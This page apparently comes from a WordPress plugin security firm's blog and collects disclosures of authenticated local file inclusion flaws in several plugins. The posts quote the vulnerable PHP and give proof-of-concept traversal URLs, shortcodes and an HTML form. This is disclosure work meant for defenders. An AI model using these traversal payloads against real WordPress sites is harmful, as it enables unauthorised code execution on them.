19 Jun

Authenticated Local File Inclusion (LFI) Vulnerability in ChimpMate

In seeking to continue to improve our Plugin Security Checker, which does automated checks to try spot potential security issues in WordPress plugins, we log the results of checks of plugins in the Plugin Directory. The plugin ChimpMate was recently run through that and one of the issues identified in that was a possible local file inclusion vulnerability:

Since the check for that issue is based on a fairly limited number of previously identified vulnerabilities we decided to check on that to see if what was flagged was correctly identified.

For someone with the necessary knowledge to review possible security issues more closely they can use the Developer Mode of the tool, which is available to customers of our service, to see the details of what lead to the tool warning of the possible issue. What was shown was this:

In both of the instances shown there, user input is used to include a file through the function include_once(), in the first instance the user input is directly used and in the second it used through a variable. Those both would be accurate identifications of a possible issue.

When then decided to take a look to see if there was a vulnerability caused by either of those.

The first instance was located in the function preview() in the file /admin/class-chimpmate-wpmc-assistant-admin.php and looked like this:

219
220
221
222
223
public function preview(){
	if(!isset($_GET['type']) || !isset($_GET['theme']))die();
	include_once( 'includes/'.$_GET['type'].$_GET['theme'].'.php' );
	die();
}

That code simply checks if the GET inputs “type” and “theme” exist and if they do, it uses those with the include_once() function.

That function is accessible to anyone logged in to WordPress through its AJAX functionally:

52
add_action('wp_ajax_chimpmate_prev', array( $this, 'preview' ) );

That means there is authenticated local file inclusion vulnerability, which could allow an attacker who is able to log in to WordPress to cause any .php file on the website to be run. Through cross-site request forgery (CSRF) it would also be possible for an attacker to cause anyone logged in to WordPress do the same thing.

The second instance identified by the tool could be exploited in the same way.

We notified the developer of the issue a week ago. We haven’t heard back from them and no new version has been released to fix the issue. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress

http://[path to WordPress]/wp-admin/admin-ajax.php?action=chimpmate_prev&type=../../../../../&theme=test

Timeline

  • June 11,2018 – Developer notified.
22 Nov

Authenticated Local File Inclusion (LFI) Vulnerability in Vmax Project Manager

We recently noticed an authenticated arbitrary file upload vulnerability in the plugin Vmax Project Manager. While writing up the details of that we were tracing back the code that would be involved in that and at first we couldn’t figure out how part of it would work. Then we figured that out and noticed that there is also an authenticated local file inclusion (LFI) vulnerability in the plugin.

The plugin makes its main admin page available to anyone with the “read” capability, which is a capability that provides access to Admin dashboard and is a capability provided to Subscriber-level users and above (in the file /vpm.php):

37
$menu = add_menu_page('Vpm Project Manager', 'Project Manager', 'read', 'vpm-project', 'vpm_project' );

The function called includes the file /view/index.php:

84
85
86
87
function vpm_project() {
	$body	=	'project';
	include( VPMDIR . '/view/index.php');
}

In that file, if the GET input “module” exists, its value is used in an include statement:

5
6
7
8
9
10
if(isset($_GET['module'])) {
	$body = sanitize_text_field($_GET['module']);
}
 
// Loads the body page for each specific menu/tasks inside the plugin.
include $body.".php";

There is no restriction on directory traversal being used there, so files outside of the directory that files are intended to be included from can be accessed.

We used this vulnerability to as the basis for adding checking for some local file inclusion (LFI) vulnerabilities to our security checker for WordPress plugins.

We notified the developer of the issue on October 23. They responded the same day that it would be fixed within two weeks, but so far no new version of the plugin has been released. In line with our disclosure policy, which is based on the need to provide our customers with information on vulnerabilities on a timely basis, we are now disclosing this vulnerability.

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress

http:///wp-admin/admin.php?page=vpm-project&module=..%2Ftest

Timeline

  • October 23, 2017 – Developer notified.
  • October 23, 2017 – Developer responds.
30 Oct

Authenticated Local File Inclusion (LFI) Vulnerability in PluginOps Page Builder

As we discussed in a previous post, while reviewing the changes in a recent version of the plugin PluginOps Page Builder we found that a local file inclusion version vulnerability had recently been fixed in the plugin. In looking over the changes that fixed that, we found that there was still a limited authenticated local file inclusion (LFI) vulnerability in the plugin.

In the file /admin/admin.php the plugin registered a shortcode:

71
72
add_shortcode( 'pb_samlple_nav', array($this,'pb_shortcode_sample_nav'
) );

The beginning of the function called by that looked like this as of the original version of 1.4.3:

846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
function pb_shortcode_sample_nav($atts, $content){
	if( current_user_can('editor') || current_user_can('administrator') ) {
	   ob_start();
 
		  extract( shortcode_atts( array(
 
				'pb_menu' => '',
				'pb_logo_url' => '',
				'menucolor' => '',
				'menu_class' => '',
				'menu_font' => '',
 
			), $atts ) );
 
		$menuName = $pb_menu;
		$pageLogoUrl = $pb_logo_url;
		$menuColor = $menucolor;
		$menufont = $menu_font;
 
		include(ULPB_PLUGIN_PATH.'admin/views/menus/'.$menu_class.'.php');

The first thing the function does is to check to make sure the user to access the function is and Editor or Administrator.

At the bottom of the code you can see that a file is included. The value of the variable $menu_class, which is part of the file to be included comes from an attribute from the shortcode. There was no restriction on directory traversal being included in that, so that files outside of the directory that files are intended to be included from can be accessed.

IT would have also been possible to exploit this through cross-site request forgery (CSRF) through WordPress’ ability to access shortcodes through AJAX.

In a later version of 1.4.3 the file /admin/admin.php was moved to /admin/classes/admin.php and the code in the function pb_shortcode_sample_nav() to restrict what can be included to the intended files:

480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
function pb_shortcode_sample_nav($atts, $content){
	if( current_user_can('editor') || current_user_can('administrator') ) {
	   ob_start();
 
		  extract( shortcode_atts( array(
 
				'pb_menu' => '',
				'pb_logo_url' => '',
				'menucolor' => '',
				'menu_class' => '',
				'menu_font' => '',
 
			), $atts ) );
 
		$menuName = $pb_menu;
		$pageLogoUrl = $pb_logo_url;
		$menuColor = $menucolor;
		$menufont = $menu_font;
 
		switch ($menu_class) {
			case 'menu-style-1':
				include(ULPB_PLUGIN_PATH.'admin/views/menus/menu-style-1.php');
			break;
			case 'menu-style-2':
				include(ULPB_PLUGIN_PATH.'admin/views/menus/menu-style-2.php');
			break;
			case 'menu-style-3':
				include(ULPB_PLUGIN_PATH.'admin/views/menus/menu-style-3.php');
			break;
			case 'menu-style-4':
				include(ULPB_PLUGIN_PATH.'admin/views/menus/menu-style-4.php');
			break;
 
			default:
				include(ULPB_PLUGIN_PATH.'admin/views/menus/menu-style-1.php');
			break;
		}

Proof of Concept

The following proof of concept will cause a file named test.php in the root directory of the WordPress installation to be included, when logged in as an Editor. Place the following short code on to a post or page:

[pb_samlple_nav menu_class='../../../../../../test']

Timeline

  • October 20, 2017 – Developer notified.
  • October 20, 2017 – Developer responds.
  • October 29, 2017 – Version 1.4.4 released, which includes fix and new version number.
09 Oct

Vulnerability Details: Authenticated Local File Inclusion (LFI) Vulnerability in Insert Pages

From time to time a vulnerability is fixed in a plugin without the discoverer putting out a report on the vulnerability and we will put out a post detailing the vulnerability so that we can provide our customers with more complete information on the vulnerability.

Recently in our monitoring of the WordPress Support Forum for indications of vulnerabilities in plugins, we came across the author ...


Our Vulnerability Details posts provide the details of vulnerabilities we didn't discover and access to them is limited to customers of our service due to other security companies trying to sponge off the work needed to create those instead of doing their own work.

For existing customers, please log in to your account to view the rest of the post.

If you are not currently a customer, you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a WordPress plugin security researcher please contact us to get free access to all of our Vulnerability Details posts.

13 Feb

Authenticated Local File Inclusion (LFI) Vulnerability in Posts in Page

One of the things we do to make sure our customers have the best data on vulnerabilities in WordPress plugins is to monitor hacking attempts on our websites. Through that we recently came across a request for a file, /wp-content/plugins/posts-in-page/assets/posts_in_page_help_view.php, from the plugin Posts in Page.

Nothing in that file looks like it could be exploited, so it looks like that request was instead probing for usage of the plugin. In looking over the rest of the code of the plugin we did find one vulnerability, that might be of more interest to hackers with the recent exploitation of a vulnerability in WordPress 4.7.0 and 4.7.1 that allowed an attacker to modify posts.

In the file /lib/page_posts.php we first found that it looked like it might be possible for arbitrary files to be included through the following that requires a specified file:

186
187
188
require ( $file_path = self::has_theme_template() )
	? $file_path // use template file in theme
	: POSTSPAGE_DIR . '/posts_loop_template.php'; // use default plugin template file

The function has_theme_template called there looks like this:

164
165
166
167
168
169
170
protected function has_theme_template() {
	$template_file = ( $this->args['template'] )
		? get_stylesheet_directory()  . '/' . $this->args['template'] // use specified template file
		: get_stylesheet_directory() . '/posts_loop_template.php'; // use default template file
 
	return ( file_exists( $template_file ) ) ? $template_file : false;
}

The value of $this->args[‘template’] in that comes from the “template” attribute of the plugin’s shortcode. There is no restriction on who can use that shortcode or attribute, so contributor-level and above users can cause any file on the website to be included through the use of directory traversal, which is an authenticated local file inclusion (LFI) vulnerability.

For author-level and above users there is a more serious issue as they have ability to upload media through WordPress. It is possible to upload media file that contain PHP code in them. Normally that code would not be able to run because the file extension of the file would not be one that causes the web server to execute it, but including such a file through a vulnerability like this would allow it to run.

Proof of Concept

When logged in as user that can add new posts, adding the following proof of concept to a post’s content will include a file named test.php from the root directory when viewing the resulting post (it will be included even when previewing the post):

[ic_add_posts template='../../../test.php']

Timeline

  • February 8, 2016 –  Developer notified.
  • February 13, 2017 – WordPress.org Plugin Directory notified.
  • February 13, 2017 – Vulnerability added to the free data included with our services’s companion plugin.
  • February 14, 2017 – Version 1.3.0 released, which fixes vulnerability.
26 May

Protecting You Against Wordfence’s Bad Practices: Local File Inclusion Vulnerability in WP Fastest Cache

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in WP Fastest Cache version 0.8.5.7 as “The Local File Inclusion vulnerability allows an attacker to execute code on the target web server or on a site visitor’s browser. This enables the attacker to steal or manipulate data, perform a denial of service attack or enable additional attack types such as Cross Site Scripting.”

The relevant change in the next version was to restrict the AJAX accessible function wpfc_cdn_template_ajax_request_callback() to Administrator level users in the file /wpFastestCache.php .

Code in 0.8.5.7:

318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
public function wpfc_cdn_template_ajax_request_callback(){
	ob_start();
	include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
	$content = ob_get_contents();
	ob_end_clean();
 
	$res = array("success" => false, "content" => "");
 
	if($data = @file_get_contents(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php")){
		$res["success"] = true;
		$res["content"] = $content;
	}
 
	echo json_encode($res);
	exit;
}

Code in 0.8.5.8:

327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
public function wpfc_cdn_template_ajax_request_callback(){
	if(current_user_can('manage_options')){
		ob_start();
		include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
		$content = ob_get_contents();
		ob_end_clean();
 
		$res = array("success" => false, "content" => "");
 
		if($data = @file_get_contents(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php")){
			$res["success"] = true;
			$res["content"] = $content;
		}
 
		echo json_encode($res);
		exit;
	}else{
		wp_die("Must be admin");
	}
}

Wordfence’s description notably doesn’t mention that the attacker needs to be logged in to WordPress to exploit this, which severely limits the severity of the vulnerability.

Proof of Concept

The following proof of concept will cause a file named test.php located in the root directory of the WordPress installation to be included.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
 <body>
 <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
 <input type="hidden" name="action" value="wpfc_cdn_template_ajax_request" />
 <input type="hidden" name="id" value="../../../../../test" />
 <input type="submit" value="Submit" />
 </form>
 </body>
</html>